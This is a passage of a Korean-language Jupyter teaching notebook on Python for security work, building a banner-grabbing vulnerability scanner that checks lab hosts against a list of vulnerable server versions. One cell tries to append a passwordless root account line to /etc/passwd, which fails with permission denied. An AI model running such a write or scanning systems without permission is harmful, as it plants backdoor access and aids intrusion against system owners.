      "YahooPOPs! Simple Mail Transfer Service Ready"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "-"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/vuln_banners.txt\n"
       ]
      }
     ],
     "prompt_number": 148
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \ucde8\uc57d\ud55c \ubc84\uc804\uc5d0 Add FTP \ucd94\uac00 -> \ub9e4\uc6b0 \uac04\ub2e8"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/vuln_banners.txt\n",
      "3Com 3CDaemon FTP Server Version 2.0\n",
      "Ability Server 2.34\n",
      "CCProxy Telnet Service Ready\n",
      "ESMTP TABS Mail Server for Windows NT\n",
      "FreeFloat Ftp Server (Version 1.00)\n",
      "IMAP4rev1 MDaemon 9.6.4 ready\n",
      "MailEnable Service, Version: 0-1.54\n",
      "NetDecision-HTTP-Server 1.0\n",
      "PSO Proxy 0.9\n",
      "SAMBAR\n",
      "Sami FTP Server 2.0.2\n",
      "Spipe 1.0\n",
      "TelSrv 1.5\n",
      "WDaemon 6.8.5\n",
      "WinGate 6.1.1\n",
      "Xitami\n",
      "YahooPOPs! Simple Mail Transfer Service Ready\n",
      "Add FTP to check vulnerable version 0.1 by geun young"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/vuln_banners.txt\n"
       ]
      }
     ],
     "prompt_number": 149
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat ch01/vuln_banners.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "3Com 3CDaemon FTP Server Version 2.0\r\n",
        "Ability Server 2.34\r\n",
        "CCProxy Telnet Service Ready\r\n",
        "ESMTP TABS Mail Server for Windows NT\r\n",
        "FreeFloat Ftp Server (Version 1.00)\r\n",
        "IMAP4rev1 MDaemon 9.6.4 ready\r\n",
        "MailEnable Service, Version: 0-1.54\r\n",
        "NetDecision-HTTP-Server 1.0\r\n",
        "PSO Proxy 0.9\r\n",
        "SAMBAR\r\n",
        "Sami FTP Server 2.0.2\r\n",
        "Spipe 1.0\r\n",
        "TelSrv 1.5\r\n",
        "WDaemon 6.8.5\r\n",
        "WinGate 6.1.1\r\n",
        "Xitami\r\n",
        "YahooPOPs! Simple Mail Transfer Service Ready\r\n",
        "Add FTP to check vulnerable version 0.1 by geun young"
       ]
      }
     ],
     "prompt_number": 150
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \uc5c5\ub370\uc774\ud2b8 \ub41c \ucf54\ub4dc\ub97c checkVulns \ud568\uc218\uc5d0 \ucd94\uac00\ud560 \uac83"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "try:\n",
      "    f = open('ch01/vuln_banners.txt')\n",
      "except:\n",
      "    print 'err'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 151
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### Strip\uc774\ub780?\n",
      "\n",
      "- \uc591\ud30c \uaecd\uc9c8 \ubc97\uae30\ub4ef\uc774 \ubb54\uac00\ub97c \ubc97\uaca8\ub0b4\uc11c \uc54c\ub9f9\uc774\ub97c \ubcf8\ub2e4\ub294 \ub73b\uc774\uc5d0\uc694."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "s = '   aaa ccc \\t ddd    \\t '"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 264
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print s"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "   aaa ccc \t ddd    \t \n"
       ]
      }
     ],
     "prompt_number": 265
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print s.strip()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "aaa ccc \t ddd\n"
       ]
      }
     ],
     "prompt_number": 266
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uae00\uc790\uc218 \ud655\uc778\ud558\uba74 \ub2e4\ub978 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.\n",
      "print len(s), len(s.strip())"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "22 13\n"
       ]
      }
     ],
     "prompt_number": 267
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# finally\ub85c file\uc744 \ub2eb\uc744 \ud544\uc694\uac00 \uc5c6\uc5b4\uc694.\n",
      "def checkVulns(banner):\n",
      "    with open('ch01/vuln_banners.txt') as f:\n",
      "#         for line in f.readlines():\n",
      "        for line in f:\n",
      "            if line.strip('\\n') in banner:\n",
      "                print '[+] Server is vulnerable: ' + banner.strip('\\n')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [],
     "prompt_number": 156
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# Error \ubc1c\uc0dd\n",
      "# def test_with():\n",
      "#     with open('ch01/vuln_banners.txt') as f:\n",
      "#         for line in f:\n",
      "#             print line.strip()\n",
      "#     except Exception, e:\n",
      "#         print e\n",
      "# test_with()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 157
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# with open as f \ud14c\uc2a4\ud2b8 \ud574\ubd04\n",
      "try:\n",
      "    with open('ch01/vuln_banners2.txt') as f:\n",
      "        for line in f:\n",
      "            print line.strip()\n",
      "except Exception, e:\n",
      "    print e"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[Errno 13] Permission denied: 'ch01/vuln_banners2.txt'\n"
       ]
      }
     ],
     "prompt_number": 158
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### with .. as f\uc758 except \ucc98\ub9ac"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from contextlib import contextmanager\n",
      "@contextmanager\n",
      "def opened_w_error(filename, mode=\"r\"):\n",
      "    try:\n",
      "        f = open(filename, mode)\n",
      "    except IOError, err:\n",
      "        yield None, err\n",
      "    else:\n",
      "        try:\n",
      "            yield f, None\n",
      "        finally:\n",
      "            f.close()\n",
      "\n",
      "with opened_w_error(\"ch01/vuln_banners.txt\", \"r\") as (f, err):\n",
      "    if err:\n",
      "        print \"IOError:\", err\n",
      "    else:\n",
      "        for line in f:\n",
      "            print line.strip()\n",
      "        \n",
      "\n",
      "with opened_w_error(\"/etc/passwd\", \"a\") as (f, err):\n",
      "    if err:\n",
      "        print \"IOError:\", err\n",
      "    else:\n",
      "        f.write(\"guido::0:0::/:/bin/sh\\n\")"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "3Com 3CDaemon FTP Server Version 2.0\n",
        "Ability Server 2.34\n",
        "CCProxy Telnet Service Ready\n",
        "ESMTP TABS Mail Server for Windows NT\n",
        "FreeFloat Ftp Server (Version 1.00)\n",
        "IMAP4rev1 MDaemon 9.6.4 ready\n",
        "MailEnable Service, Version: 0-1.54\n",
        "NetDecision-HTTP-Server 1.0\n",
        "PSO Proxy 0.9\n",
        "SAMBAR\n",
        "Sami FTP Server 2.0.2\n",
        "Spipe 1.0\n",
        "TelSrv 1.5\n",
        "WDaemon 6.8.5\n",
        "WinGate 6.1.1\n",
        "Xitami\n",
        "YahooPOPs! Simple Mail Transfer Service Ready\n",
        "Add FTP to check vulnerable version 0.1 by geun young\n",
        "IOError: [Errno 13] Permission denied: '/etc/passwd'\n"
       ]
      }
     ],
     "prompt_number": 159
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "- [Exception \ucc98\ub9ac](http://songhl1.tistory.com/25)\n",
      "\n",
      "<img src=\"files/images/exception.png\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### sys \ubaa8\ub4c8\n",
      "\n",
      "- \ud30c\uc774\uc36c \uc778\ud130\ud504\ub9ac\ud130\uac00 \uc0ac\uc6a9\ud558\uac70\ub098 \uc720\uc9c0\ud558\uace0 \uc788\ub294 \uac1d\uccb4\uc5d0 \uc811\uadfc\ud560 \uc218 \uc788\ub3c4\ub85d \ud574\uc90c\n",
      "- \ud50c\ub798\uadf8, \ubc84\uc804, \uc815\uc218 \ucd5c\ub300 \ud06c\uae30, \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \ubaa8\ub4c8, \uacbd\ub85c \ud6c4\ud06c, \ud45c\uc900 \uc624\ub958/in/out\uc758 \uc704\uce58, \uc778\ud130\ud504\ub9ac\ud130\uac00 \ud638\ucd9c\ud558\ub294 \ucee4\ub9e8\ub4dc\ub77c\uc778 \uc778\uc790\uac12 \ub4f1\uc774 \ud3ec\ud568\n",
      "- http://docs.python.org/library/sys \uc5d0\uc11c \ub354 \ub9ce\uc740 \uc815\ubcf4\n",
      "- \ub7f0\ud0c0\uc784\uc5d0 \ucee4\ub9e8\ub4dc\ub77c\uc778 \uc778\uc790\uac12\uc744 \uad6c\ubb38\ubd84\uc11d \ucc98\ub9ac\ud560 \uc218 \uc788\uc74c\n",
      "- \ub9cc\uc57d \ucee4\ub9e8\ub4dc\ub77c\uc778\uc5d0\uc11c \ud14d\uc2a4\ud2b8 \ud30c\uc77c\uc758 \uc774\ub984\uc744 \uc785\ub825\ubc1b\uace0 \uc2f6\ub2e4\uba74 \uc5b4\ub5bb\uac8c \ud558\uaca0\ub294\uac00?\n",
      "- sys.argv\ub77c\ub294 \ubc30\uc5f4\uc740 \ubaa8\ub4e0 \ucee4\ub9e8\ub4dc\ub77c\uc778 \uc778\uc790\uac12\uc744 \ud3ec\ud568\ud558\uace0 \uc788\ub2e4.\n",
      "- sys.argv[0]: \ud30c\uc774\uc36c \uc2a4\ud06c\ub9bd\ud2b8\uc758 \uc774\ub984\n",
      "- \ub098\uba38\uc9c0 \ubd80\ubd84: \ucee4\ub9e8\ub4dc\ub77c\uc778 \uc778\uc790\uac12\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \uc544\uc774\ud15c\ub4e4\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc74c\n",
      "- \ub530\ub77c\uc11c \ub9cc\uc57d \ud558\ub098\uc758 \uc778\uc790\uac12\uc744 \uc785\ub825\ud558\uc600\ub2e4\uba74, sys.argv\uc5d0\ub294 \ub450 \uac1c\uc758 \uc544\uc774\ud15c\uc774 \uc800\uc7a5\ub418\uc5b4 \uc788\uc744\uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \uc0dd\uac01\ud574 \ubcf4\ub294 \uc2dc\uac04\n",
      "\n",
      "\ub9cc\uc57d\uc5d0 \uc788\uc796\uc544...\n",
      "\n",
      "\uc6b0\ub9ac\uac00 \ucde8\uc57d\ud55c \ubc84\uc804\uc744 \uc800\uc7a5\ud574 \ub193\uc740 \ud30c\uc77c\uba85\uc744 vuln-banners.txt\uc5d0\uc11c i_hate_nogada.txt\ub85c \ubcc0\uacbd\ud55c\ub2e4\uace0 \ud574\ubcf4\uc790.\n",
      "\n",
      "\uadf8\ub7fc \uc6b0\ub9ac\ub294 \uc5b4\ub5bb\uac8c \ud574\uc57c\ud560\uae4c?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\ub2f9\uc5f0\ud788 \ucf54\ub529\ud574 \ub193\uc740 \uc18c\uc2a4 \ucf54\ub4dc \ud30c\uc77c\uc744 \uc5f4\uc5b4\uc11c vuln-banners.txt -> i_hate_nogada.txt\ub85c \ubcc0\uacbd\ud574\uc57c\uaca0\uc9c0?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "\uc88b\uc544. \ubb50 \uc5ec\uae30\uae4c\uc9c0\ub294 \ucc38\uc744 \uc218 \uc788\uc5b4.\n",
      "\uadfc\ub370 \uc788\uc796\uc544. \ub9e4\ubc88 \ud30c\uc77c\uba85\uc774 \ubc14\ub00c\uba74 \uc774\ub807\uac8c \ubc14\uafd4\uc918\uc57c \ub3fc??\n",
      "\uadc0\ucc2e\ub2e4. \ubb54\uac00 \uc880 \ub354 \ud3b8\ud55c \ubc29\ubc95\uc774 \uc5c6\uc744\uae4c?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### \ud30c\uc77c\uba85\uc744 \uc778\uc790\ub85c \ubc1b\uc744 \uc218\ub294 \uc5c6\uc744\uae4c?!"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/vuln-scanner.py\n",
      "import sys\n",
      "if len(sys.argv) == 2:\n",
      "    filename = sys.argv[1]\n",
      "    print '[+] Reading Vulnerabilities From: ' + filename"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/vuln-scanner.py\n"
       ]
      }
     ],
     "prompt_number": 160
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "#       sys.argv[0]          sys.argv[1]\n",
      "!python ch01/vuln-scanner.py vuln-banners.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Reading Vulnerabilities From: vuln-banners.txt\r\n"
       ]
      }
     ],
     "prompt_number": 161
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### OS \ubaa8\ub4c8\n",
      "\n",
      "- OS \ubaa8\ub4c8\uc5d0\ub294 MAC, NT \ub610\ub294 Posix \uc6b4\uc601\uccb4\uc81c\uc5d0\uc11c \ud560 \uc218 \uc788\ub294 \ub2e4\uc591\ud55c OS \ub8e8\ud2f4\ub4e4\uc774 \ud3ec\ud568\n",
      "- \ub3c5\ub9bd\uc801\uc73c\ub85c OS \ud658\uacbd, \ud30c\uc77c \uc2dc\uc2a4\ud15c, \uc0ac\uc6a9\uc790 \ub370\uc774\ud130\ubca0\uc774\uc2a4, \uad8c\ud55c \ub4f1\uc744 \uc0ac\uc6a9 \uac00\ub2a5\n",
      "- \ud14d\uc2a4\ud2b8 \ud30c\uc77c\uc758 \uc774\ub984\uc744 \ucee4\ub9e8\ub4dc\ub77c\uc778 \uc778\uc790\uac12\uc73c\ub85c \uc804\ub2ec\ud55c \uac83\uc744 \uc0b4\ud3b4\ubcf4\uc790.\n",
      "- \uc774 \ud30c\uc77c\uc774 **\uc2e4\uc81c\ub85c \uc874\uc7ac\ud558\ub294\uc9c0** \uadf8\ub9ac\uace0 \ud574\ub2f9 \ud30c\uc77c\uc5d0 **\ud604\uc7ac \uc0ac\uc6a9\uc790\uac00 \uc77d\uae30 \uad8c\ud55c\uc774 \uc788\ub294\uc9c0** \ud655\uc778\ud574\uc57c \ud560 \uc218\ub3c4 \uc788\uc74c\n",
      "- \uc774 \ub458 \uc911\uc5d0 \ud558\ub098\uc758 \uc870\uac74\uc774\ub77c\ub3c4 \ucda9\uc871\uc2dc\ud0a4\uc9c0 \ubabb\ud55c\ub2e4\uba74 \uc0ac\uc6a9\uc790\uc5d0\uac8c \uc624\ub958 \uba54\uc2dc\uc9c0\ub97c \ubcf4\uc5ec\uc8fc\ub294 \uac83\ub3c4 \uc720\uc6a9\ud55c \uae30\ub2a5"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/test_confirm.py\n",
      "import sys\n",
      "import os\n",
      "if len(sys.argv) == 2:\n",
      "    filename = sys.argv[1]\n",
      "    \n",
      "if not os.path.isfile(filename):\n",
      "    print '[-] ' + filename + ' does not exist.'\n",
      "    exit(0)\n",
      "if not os.access(filename, os.R_OK):\n",
      "    print '[-] ' + filename + ' access denied.'\n",
      "    exit(0)\n",
      "print '[+] Reading Vulnerabilities From: ' + filename"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/test_confirm.py\n"
       ]
      }
     ],
     "prompt_number": 162
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import os\n",
      "help(os.access)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Help on built-in function access in module posix:\n",
        "\n",
        "access(...)\n",
        "    access(path, mode) -> True if granted, False otherwise\n",
        "    \n",
        "    Use the real uid/gid to test for access to a path.  Note that most\n",
        "    operations will use the effective uid/gid, therefore this routine can\n",
        "    be used in a suid/sgid environment to test if the invoking user has the\n",
        "    specified access to the path.  The mode argument can be F_OK to test\n",
        "    existence, or the inclusive-OR of R_OK, W_OK, and X_OK.\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 163
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "os.R_OK"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 164,
       "text": [
        "4"
       ]
      }
     ],
     "prompt_number": 164
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \ud30c\uc77c\uc774 \uc5c6\uc744\ub54c\n",
      "!python ch01/test_confirm.py ch01/vuln_banners_not_exist.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] ch01/vuln_banners_not_exist.txt does not exist.\r\n"
       ]
      }
     ],
     "prompt_number": 165
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc815\uc0c1\uc801\uc73c\ub85c \ud30c\uc77c\uc744 \uc77d\uc5c8\uc744\ub584\n",
      "!python ch01/test_confirm.py ch01/vuln_banners.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Reading Vulnerabilities From: ch01/vuln_banners.txt\r\n"
       ]
      }
     ],
     "prompt_number": 166
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cp ch01/vuln_banners.txt ch01/vuln_banners2.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "cp: ch01/vuln_banners2.txt: Permission denied\r\n"
       ]
      }
     ],
     "prompt_number": 167
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!chmod 000 ch01/vuln_banners2.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [],
     "prompt_number": 168
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz\n",
      "\n",
      "- chmod\ub294 \uc5b4\ub514\uc5d0 \uc4f0\ub294\uac70\ub0d0?\n",
      "- [\ub9ac\ub205\uc2a4 \ud30c\uc77c \ud37c\ubbf8\uc158](http://root.so/%EB%A6%AC%EB%88%85%EC%8A%A4-%ED%8C%8C%EC%9D%BC-%ED%8D%BC%EB%AF%B8%EC%85%98/)"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "<img src=\"http://www.liquidweb.com/kb/images/permission-structure.png\" />\n",
      "<img src=\"http://linuxcommand.org/images/permissions_diagram.gif\" />"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# access denied \ub410\uc744\ub54c\n",
      "!python ch01/test_confirm.py ch01/vuln_banners2.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] ch01/vuln_banners2.txt access denied.\r\n"
       ]
      }
     ],
     "prompt_number": 169
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!ls -l ch01/"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "total 336\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    356 Jun 15 12:59 1thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    614 Jun 15 12:59 2process.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    447 Jun 15 12:59 2thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff      0 Jun 14 14:43 __init__.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    103 Jun 14 14:43 __init__.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     57 Jun 23  2012 dictionary.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff  35755 Jun 23  2012 evil.zip\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     20 Jun 15 12:58 hello.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     35 Jun 15 13:20 main_test.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    148 Jun 15 13:20 main_test.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     91 Jun 15 13:20 main_test2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    302 Jun 15 13:20 main_test2.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 15 11:50 passwd\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 23  2012 passwords.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    149 Jun 10 17:59 reverse_slash.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 13 13:58 shadow.txt\r",
        "\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1154 Jun 13 13:58 test_512_2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    320 Jun 15 13:20 test_confirm.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1575 Jun  7 18:54 test_last.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    477 Jun  7 18:24 test_original.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    659 Jun  7 18:24 test_process.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    642 Jun  7 19:46 test_process2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1529 Jun 13 13:58 test_sha512.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    501 Jun  7 18:24 test_thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    551 Jun  7 19:46 test_thread2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    104 Jun 13 13:58 unzip.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    347 Jun 15 12:59 unzip3.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    146 Jun 15 12:59 unzip_except.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    503 Jun 15 12:59 unzip_module.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    496 Jun 15 12:59 unzip_thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    118 Jun 15 13:20 vuln-scanner.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    452 Jun 15 13:20 vuln_banners.txt\r\n",
        "----------  1 re4lfl0w  staff    398 Jun 13 13:58 vuln_banners2.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1282 Jun 13 13:58 vuln_scanner.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1291 Jun 15 12:59 zipcrack.py\r\n"
       ]
      }
     ],
     "prompt_number": 170
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "- \ucde8\uc57d\uc810 \uc2a4\uce90\ub2dd \uc2a4\ud06c\ub9bd\ud2b8\ub97c \ud558\ub098\ub85c \ud1b5\ud569\n",
      "- \ud604\uc7ac \uc4f0\ub808\ub4dc \uae30\ub2a5 \uc9c0\uc6d0\ud558\uc9c0 \uc54a\ub354\ub77c\ub3c4, \ub354 \ub098\uc740 \uad6c\ubb38\ubd84\uc11d \ubc29\ubc95 \uc9c0\uc6d0 \ud560 \uac83\uc784"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/vuln_scanner.py\n",
      "\n",
      "import socket\n",
      "import os\n",
      "import sys\n",
      "\n",
      "def retBanner(ip, port):\n",
      "    try:\n",
      "        socket.setdefaulttimeout(2)\n",
      "        s = socket.socket()\n",
      "        s.connect((ip, port))\n",
      "        banner = s.recv(1024)\n",
      "        return banner\n",
      "    except:\n",
      "        return\n",
      "\n",
      "def checkVulns(banner, filename):\n",
      "    with open(filename, 'r') as f:\n",
      "        for line in f:\n",
      "            if line.strip('\\n') in banner:\n",
      "                print '[+] Server is vulnerable: ' + \\\n",
      "                banner.strip('\\n')\n",
      "\n",
      "def main():\n",
      "    if len(sys.argv) == 2:\n",
      "        filename = sys.argv[1]\n",
      "        if not os.path.isfile(filename):\n",
      "            print '[-] ' + filename + \\\n",
      "            ' does not exist.'\n",
      "            exit(0)\n",
      "        if not os.access(filename, os.R_OK):\n",
      "            print '[-] ' + filename + \\\n",
      "            ' access denied.'\n",
      "            exit(0)\n",
      "    else:\n",
      "        print '[-] Usage: ' + str(sys.argv[0]) + \\\n",
      "        ' <vuln filename>'\n",
      "        exit(0)\n",
      "    \n",
      "    portList = [21, 22, 25, 80, 110, 443]\n",
      "    for x in range(159, 160):\n",
      "        ip = '192.168.32.' + str(x)\n",
      "        for port in portList:\n",
      "            banner = retBanner(ip, port)\n",
      "            \n",
      "            if banner:\n",
      "                \n",
      "                print '[+] ' + ip + ': ' + banner\n",
      "                checkVulns(banner, filename)\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/vuln_scanner.py\n"
       ]
      }
     ],
     "prompt_number": 171
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/vuln_scanner.py ch01/vuln_banners.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] 192.168.32.159: 220 FreeFloat Ftp Server (Version 1.00)\r",
        "\r\n",
        "\r\n",
        "[+] Server is vulnerable: 220 FreeFloat Ftp Server (Version 1.00)\r",
        "\r\n"
       ]
      }
     ],
     "prompt_number": 172
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/vuln_scanner.py ch01/vuln_banners2.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] ch01/vuln_banners2.txt access denied.\r\n"
       ]
      }
     ],
     "prompt_number": 173
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/vuln_scanner.py ch01/vuln_banners_not_exist.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] ch01/vuln_banners_not_exist.txt does not exist.\r\n"
       ]
      }
     ],
     "prompt_number": 174
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/killing_question.jpg\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
